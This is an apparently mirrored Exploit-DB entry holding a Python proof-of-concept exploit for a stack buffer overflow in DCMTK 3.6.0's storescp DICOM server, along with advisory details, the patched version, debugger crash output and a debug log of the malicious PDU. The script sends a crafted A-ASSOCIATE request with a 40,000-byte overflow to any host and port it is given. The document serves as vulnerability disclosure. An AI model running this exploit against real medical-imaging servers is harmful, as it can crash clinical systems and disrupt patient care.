DCMTK 3.6.0 storescp – Stack Buffer Overflow

  • 作者: LiquidWorm
    日期: 2016-12-16
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/40928/
  • #!/usr/bin/env python
    # -*- coding: utf8 -*-
    #
    #
    # DCMTK storescp DICOM storage (C-STORE) SCP Remote Stack Buffer Overflow
    #
    #
    # Vendor: OFFIS e. V.
    # Product web page: http://www.dcmtk.org
    # Affected version: <= 3.6.0
    # Not affected: DCMTK-3.6.1_20160216 - https://github.com/commontk/DCMTK/commit/1b6bb76
    #
    # http://www.idoimaging.com/programs?order=program.rdate&
    #
    # Summary: DCMTK is a collection of libraries and applications implementing large
    # parts the DICOM standard. It includes software for examining, constructing and
    # converting DICOM image files, handling offline media, sending and receiving images
    # over a network connection, as well as demonstrative image storage and worklist
    # servers. DCMTK is is written in a mixture of ANSI C and C++. It comes in complete
    # source code and is made available as "open source" software.
    #
    # Desc: "At several places in the code a wrong length of ACSE data structures received
    # over the network can cause overflows or underflows when processing those
    # data structures. Related checks have been added at various places in order
    # to prevent such (possible) attacks. Thanks to Kevin Basista for the report."
    #
    # The bug will indeed affect all DCMTK-based server applications that accept incoming
    # DICOM network connections that are using the dcmtk-3.6.0 and earlier versions.
    # Developers are advised to apply the patched-DCMTK-3.6.1_20160216 fix commit from
    # Dec 14, 2015.
    #
    # ---------------------------------------------------------------------------------
    #
    # Process 27765 stopped
    # * thread #1: tid = 0x3e4b46, 0x00000001000a6f1d storescp`parsePresentationContext(unsigned char, dul_presentationcontext*, unsigned char*, unsigned long*, unsigned long) + 3325, queue = 'com.apple.main-thread', stop reason = EXC_BAD_ACCESS (code=1, address=0x10380001b)
    # frame #0: 0x00000001000a6f1d storescp`parsePresentationContext(unsigned char, dul_presentationcontext*, unsigned char*, unsigned long*, unsigned long) + 3325
    # storescp`parsePresentationContext:
    # ->0x1000a6f1d <+3325>: movb (%rax), %al
    # 0x1000a6f1f <+3327>: movzbl %al, %eax
    # 0x1000a6f22 <+3330>: cmpl $0x40, %eax
    # 0x1000a6f25 <+3333>: movl %eax, -0xa74(%rbp)
    # (lldb) re r
    # General Purpose Registers:
    #rax = 0x000000010380001b
    #rbx = 0x0000000000000000
    #rcx = 0x00000001002d40f0vtable for log4cplus::spi::AppenderAttachable + 16
    #rdx = 0x0000000000000010
    #rdi = 0x00007fff5fbf78a0
    #rsi = 0x3f7bc30000000000
    #rbp = 0x00007fff5fbf7b30
    #rsp = 0x00007fff5fbf7030
    # r8 = 0x0000000100733918
    # r9 = 0x00000000003e4b46
    #r10 = 0x0000000100733920
    #r11 = 0xffffffff00000000
    #r12 = 0x0000000000000000
    #r13 = 0x0000000000000000
    #r14 = 0x0000000000000000
    #r15 = 0x0000000000000000
    #rip = 0x00000001000a6f1dstorescp`parsePresentationContext(unsigned char, dul_presentationcontext*, unsigned char*, unsigned long*, unsigned long) + 3325
    # rflags = 0x0000000000010246
    # cs = 0x000000000000002b
    # fs = 0x0000000000000000
    # gs = 0x0000000000000000
    #
    # (lldb)
    #
    # =====
    #
    # ➜bin ./storescp -d 4242
    # D: $dcmtk: storescp v3.6.0 2011-01-06 $
    # D: 
    # D: setting network receive timeout to 60 seconds
    # D: PDU Type: Associate Request, PDU Length: 32881 + 6 bytes PDU header
    # D: Only dumping 512 bytes.
    # D: 010000008071000100004f525448414e
    # D: 43202020202020202020544553545355
    # D: 49544500000000000000000000000000
    # D: 00000000000000000000000000000000
    # D: 0000000000000000000010000015312e
    # D: 322e3834302e31303030382e332e312e
    # D: 312e3120008000414243444142434441
    # D: 42434441424344414243444142434441
    # D: 42434441424344414243444142434441
    # D: 42434441424344414243444142434441
    # D: 42434441424344414243444142434441
    # D: 42434441424344414243444142434441
    # D: 42434441424344414243444142434441
    # D: 42434441424344414243444142434441
    # D: 42434441424344414243444142434441
    # D: 42434441424344414243444142434441
    # D: 42434441424344414243444142434441
    # D: 42434441424344414243444142434441
    # D: 42434441424344414243444142434441
    # D: 42434441424344414243444142434441
    # D: 42434441424344414243444142434441
    # D: 42434441424344414243444142434441
    # D: 42434441424344414243444142434441
    # D: 42434441424344414243444142434441
    # D: 42434441424344414243444142434441
    # D: 42434441424344414243444142434441
    # D: 42434441424344414243444142434441
    # D: 42434441424344414243444142434441
    # D: 42434441424344414243444142434441
    # D: 42434441424344414243444142434441
    # D: 42434441424344414243444142434441
    # D: 42434441424344414243444142434441
    # D: 
    # D: Parsing an A-ASSOCIATE PDU
    # [1]25553 segmentation fault./storescp -d 4242
    # ➜bin
    #
    # ---------------------------------------------------------------------------------
    #
    # Tested on: Microsoft Windows 7 Professional SP1 (EN)
    #Microsoft Windows 7 Ultimate SP1 (EN)
    #MacOS X 10.12.2 Sierra
    #Linux Ubuntu 14.04.5
    #FreeBSD 10.3
    #
    #
    # Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
    # @zeroscience
    #
    #
    # Advisory ID: ZSL-2016-5384
    # Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2016-5384.php
    #
    #
    # 22.11.2016
    #
    
    
    import socket, sys
    
    hello = ('\x01\x00\x00\x00\x80\x71\x00\x01\x00\x00\x4f\x52\x54\x48'
     '\x41\x4e\x43\x20\x20\x20\x20\x20\x20\x20\x20\x20\x4a\x4f'
     '\x58\x59\x50\x4f\x58\x59\x21\x00\x00\x00\x00\x00\x00\x00'
     '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
     '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
     '\x00\x00\x00\x00\x10\x00\x00\x15\x31\x2e\x32\x2e\x38\x34'
     '\x30\x2e\x31\x30\x30\x30\x38\x2e\x33\x2e\x31\x2e\x31\x2e'
     '\x31\x20\x00\x80\x00')
    
    bye = ('\x50\x00\x00\x0c\x51\x00\x00\x04\x00\x00\x07\xde'
     '\x52\x00\x00\x00')
    
    buffer = '\x41\x42\x43\x44' * 10000
    
    if len(sys.argv) < 3:
    	print '\nUsage: ' +sys.argv[0]+ ' <target> <port>'
    	print 'Example: ' +sys.argv[0]+ ' 172.19.0.214 4242\n'
    	sys.exit(0)
     
    host = sys.argv[1]
    port = int(sys.argv[2])
    
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    connect = s.connect((host, port))
    s.settimeout(251)
    s.send(hello+buffer+bye)
    s.close